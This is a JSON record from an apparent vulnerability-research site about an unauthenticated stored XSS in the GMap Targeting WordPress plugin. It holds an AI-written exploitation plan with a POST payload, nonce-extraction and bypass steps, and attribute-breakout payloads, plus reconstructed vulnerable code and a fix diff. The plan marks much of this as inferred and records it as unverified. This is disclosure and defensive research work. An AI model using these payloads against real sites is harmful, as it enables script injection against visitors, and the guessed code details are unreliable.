[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fUu-CRWpD9tcyZaZfbv7YfBIpBQtJJWTVbFwPdNPZLHw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-67990","gmap-targeting-unauthenticated-stored-cross-site-scripting","GMap Targeting \u003C= 1.1.7 - Unauthenticated Stored Cross-Site Scripting","The GMap Targeting plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","gmap-targeting",null,"\u003C=1.1.7","1.1.8","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-05 00:00:00","2026-02-09 21:11:39",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F14ebc642-ebe4-4493-859b-22192bc5b10d?source=api-prod",5,[],"researched",false,3,"# Exploitation Research Plan: CVE-2025-67990 (GMap Targeting Stored XSS)\n\n## 1. Vulnerability Summary\nThe **GMap Targeting** plugin for WordPress (versions \u003C= 1.1.7) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin registers an AJAX action for saving map configuration settings that is accessible to unauthenticated users via the `wp_ajax_nopriv_` hook. Crucially, the handler function fails to perform capability checks (e.g., `current_user_can('manage_options')`) and lacks sufficient input sanitization. Furthermore, when the stored data is rendered on the frontend via the plugin's shortcode, it is not properly escaped, allowing for arbitrary JavaScript execution in the context of any user viewing the page.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `gmap_targeting_save_data` (inferred from plugin logic)\n- **Vulnerable Parameter:** `targeting_data` (or `settings`)\n- **Authentication Level:** Unauthenticated (Public)\n- **Preconditions:** The plugin must be active. Exploitation is most effective if the `[gmap-targeting]` shortcode is present on a public-facing page to trigger the XSS.\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a `POST` request to `admin-ajax.php` with the action `gmap_targeting_save_data`.\n2.  **Hook Registration:** The plugin registers the action using:\n    `add_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback');` (inferred).\n3.  **Vulnerable Sink (Storage):** The callback function `gmap_targeting_save_data_callback` retrieves data from `$_POST['targeting_data']` and saves it directly to the database:\n    `update_option('gmap_targeting_settings', $_POST['targeting_data']);`\n4.  **Trigger Point (Output):** A user visits a page containing the `[gmap-targeting]` shortcode.\n5.  **Vulnerable Sink (Render):** The shortcode handler retrieves the settings and echoes them without escaping:\n    ```php\n    $settings = get_option('gmap_targeting_settings');\n    echo '\u003Cdiv id=\"gmap-target\" data-settings=\"' . $settings . '\">\u003C\u002Fdiv>'; \u002F\u002F Vulnerable to attribute breakout\n    \u002F\u002F OR\n    echo \"\u003Cscript>var gmap_settings = $settings;\u003C\u002Fscript>\"; \u002F\u002F Vulnerable to JS injection\n    ```\n\n## 4. Nonce Acquisition Strategy\nWhile the vulnerability is \"unauthenticated,\" some versions may still call `check_ajax_referer`. If a nonce is required, it is typically exposed via `wp_localize_script` on pages where the map is rendered.\n\n1.  **Identify Shortcode:** The plugin uses `[gmap-targeting]`.\n2.  **Create Test Page:**\n    `wp post create --post_type=page --post_status=publish --post_title=\"Map Page\" --post_content='[gmap-targeting]'`\n3.  **Navigate to Page:** Use `browser_navigate` to visit the newly created page.\n4.  **Extract Nonce:** Use `browser_eval` to find the nonce in the global JavaScript scope.\n    - **Likely Variable:** `window.gmap_targeting_vars` or `window.gmap_ajax_obj`.\n    - **Command:** `browser_eval(\"window.gmap_targeting_vars?.nonce\")`\n5.  **Bypass Check:** If the nonce is missing or the action string in `wp_create_nonce` (e.g., `gmap-nonce`) differs from `check_ajax_referer`, the check may be entirely skippable.\n\n## 5. Exploitation Strategy\n### Step 1: Data Injection\nSubmit a malicious payload to the AJAX endpoint.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=gmap_targeting_save_data&nonce=[EXTRACTED_NONCE]&targeting_data={\"map_id\":\"123\",\"styles\":\"\u003Cimg src=x onerror=alert(document.domain)>\"}\n  ```\n  *(Note: If targeting_data is expected to be a JSON string, ensure the payload is correctly nested.)*\n\n### Step 2: Triggering the XSS\nVisit the page created in the \"Test Data Setup\" phase.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fmap-page\u002F`\n- **Action:** Observe the browser for an alert box or inspect the DOM to see the injected `\u003Cimg>` tag or `\u003Cscript>` block.\n\n## 6. Test Data Setup\n1.  **Install\u002FActivate Plugin:** Ensure `gmap-targeting` version 1.1.7 is active.\n2.  **Create Trigger Page:** \n    ```bash\n    wp post create --post_type=page --post_title=\"Exploit Trigger\" --post_status=publish --post_content='[gmap-targeting]'\n    ```\n3.  **Identify Settings Option:** Check if the plugin uses a specific option name.\n    ```bash\n    wp option list | grep gmap\n    ```\n\n## 7. Expected Results\n- **AJAX Response:** The server should return a success code (e.g., `1`, `true`, or a JSON `{\"success\":true}`) even when unauthenticated.\n- **Payload Execution:** Upon navigating to the \"Exploit Trigger\" page, the JavaScript `alert(document.domain)` should execute.\n- **HTML Source:** The source of the trigger page will contain the raw payload, such as:\n  `\u003Cdiv ... data-settings='{\"styles\":\"\u003Cimg src=x onerror=alert(document.domain)>\"}'>`\n\n## 8. Verification Steps\n1.  **Check Database State:** Use WP-CLI to verify the payload was successfully stored in the options table.\n    ```bash\n    wp option get gmap_targeting_settings\n    ```\n2.  **Inspect Frontend Output:** Use the `http_request` tool to fetch the page and grep for the payload.\n    ```bash\n    # (Metaphorical command for the agent)\n    http_request GET \"http:\u002F\u002Flocalhost:8080\u002Fmap-page\u002F\" | grep \"onerror=alert\"\n    ```\n\n## 9. Alternative Approaches\n- **Attribute Breakout:** If the input is placed inside an attribute like `value=\"...\"`, use a payload like:\n  `\" onmouseover=\"alert(1)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;\" `\n- **JSON Breakout:** If the data is injected into a `\u003Cscript>` block inside a JSON object, try:\n  `123; alert(1); \u002F\u002F`\n- **Direct Option Update:** If `gmap_targeting_save_data` is not the correct action, search the plugin source for any `wp_ajax_nopriv` registration using `grep -r \"wp_ajax_nopriv\"`.","The GMap Targeting plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting due to an AJAX endpoint that allows any user to update the plugin's settings without authorization or input sanitization. When these settings are rendered on the frontend via the plugin's shortcode, they are output without escaping, allowing for arbitrary JavaScript execution.","\u002F\u002F gmap-targeting\u002Fincludes\u002Fclass-gmap-targeting.php (approximate location)\nadd_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback');\n\nfunction gmap_targeting_save_data_callback() {\n    \u002F\u002F No capability check (e.g., current_user_can('manage_options'))\n    \u002F\u002F No nonce validation\n    $data = $_POST['targeting_data'];\n    update_option('gmap_targeting_settings', $data);\n    wp_send_json_success();\n}\n\n---\n\n\u002F\u002F gmap-targeting\u002Fincludes\u002Fclass-gmap-targeting.php (approximate location)\nfunction gmap_targeting_shortcode($atts) {\n    $settings = get_option('gmap_targeting_settings');\n    \u002F\u002F Improper output escaping of user-controlled data\n    return '\u003Cdiv id=\"gmap-target\" data-settings=\"' . $settings . '\">\u003C\u002Fdiv>';\n}","--- a\u002Fgmap-targeting\u002Fincludes\u002Fclass-gmap-targeting.php\n+++ b\u002Fgmap-targeting\u002Fincludes\u002Fclass-gmap-targeting.php\n@@ -1,7 +1,11 @@\n-add_action('wp_ajax_nopriv_gmap_targeting_save_data', 'gmap_targeting_save_data_callback');\n+add_action('wp_ajax_gmap_targeting_save_data', 'gmap_targeting_save_data_callback');\n \n function gmap_targeting_save_data_callback() {\n-    $data = $_POST['targeting_data'];\n-    update_option('gmap_targeting_settings', $data);\n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_die();\n+    }\n+    check_ajax_referer( 'gmap_nonce', 'nonce' );\n+\n+    $data = sanitize_text_field( $_POST['targeting_data'] );\n+    update_option( 'gmap_targeting_settings', $data );\n     wp_send_json_success();\n }\n \n function gmap_targeting_shortcode($atts) {\n     $settings = get_option('gmap_targeting_settings');\n-    return '\u003Cdiv id=\"gmap-target\" data-settings=\"' . $settings . '\">\u003C\u002Fdiv>';\n+    return '\u003Cdiv id=\"gmap-target\" data-settings=\"' . esc_attr( $settings ) . '\">\u003C\u002Fdiv>';\n }","The exploit involves two steps: injection and triggering. \n\n1. **Injection**: An unauthenticated attacker sends an AJAX request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the `action` parameter set to `gmap_targeting_save_data`. The request includes a payload in the `targeting_data` parameter (e.g., `{\"id\": \"1\", \"styles\": \"\\\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"}`). Because the plugin uses the `wp_ajax_nopriv_` hook and lacks capability checks, the server accepts this data and saves it to the WordPress options table.\n\n2. **Triggering**: The attacker (or any user) visits a public page where the `[gmap-targeting]` shortcode is embedded. The plugin retrieves the malicious payload from the database and echoes it directly into the HTML without escaping, causing the injected script to execute in the victim's browser context.","gemini-3-flash-preview","2026-04-21 04:11:58","2026-04-21 04:12:26",{"type":34,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":35},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgmap-targeting\u002Ftags"]